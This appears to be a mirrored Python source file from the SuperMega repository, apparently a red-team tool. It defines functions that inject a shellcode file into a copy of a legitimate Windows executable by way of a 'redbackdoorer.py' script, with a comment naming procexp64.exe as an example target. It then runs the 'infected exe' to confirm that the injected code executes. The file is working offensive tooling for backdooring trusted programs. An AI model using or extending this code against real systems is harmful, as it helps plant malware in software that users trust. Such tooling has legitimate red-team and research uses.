mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
39 lines
1.1 KiB
Python
39 lines
1.1 KiB
Python
from helper import *
|
|
import shutil
|
|
|
|
|
|
def inject_exe(shc_file, exe_in, exe_out, mode):
|
|
print("--[ Injecting: {} into: {} -> {} ]".format(
|
|
shc_file, exe_in, exe_out
|
|
))
|
|
shutil.copyfile(exe_in, exe_out)
|
|
|
|
# python3.exe .\redbackdoorer.py 1,1 main-clean-append.bin .\exes\procexp64-a.exe
|
|
subprocess.run([
|
|
"python3.exe",
|
|
"redbackdoorer.py",
|
|
mode,
|
|
shc_file,
|
|
exe_out
|
|
], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
|
|
|
|
def verify_injected_exe(exefile):
|
|
print("---[ Verify infected exe: {} ]".format(exefile))
|
|
# remove indicator file
|
|
pathlib.Path(verify_filename).unlink(missing_ok=True)
|
|
|
|
subprocess.run([
|
|
exefile,
|
|
], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) # , check=True
|
|
time.sleep(SHC_VERIFY_SLEEP)
|
|
if os.path.isfile(verify_filename):
|
|
print("---> Verify OK. Infected exe works (file was created)")
|
|
# better to remove it immediately
|
|
os.remove(verify_filename)
|
|
return True
|
|
else:
|
|
print("---> Verify FAIL. Infected exe does not work (no file created)")
|
|
return False
|
|
|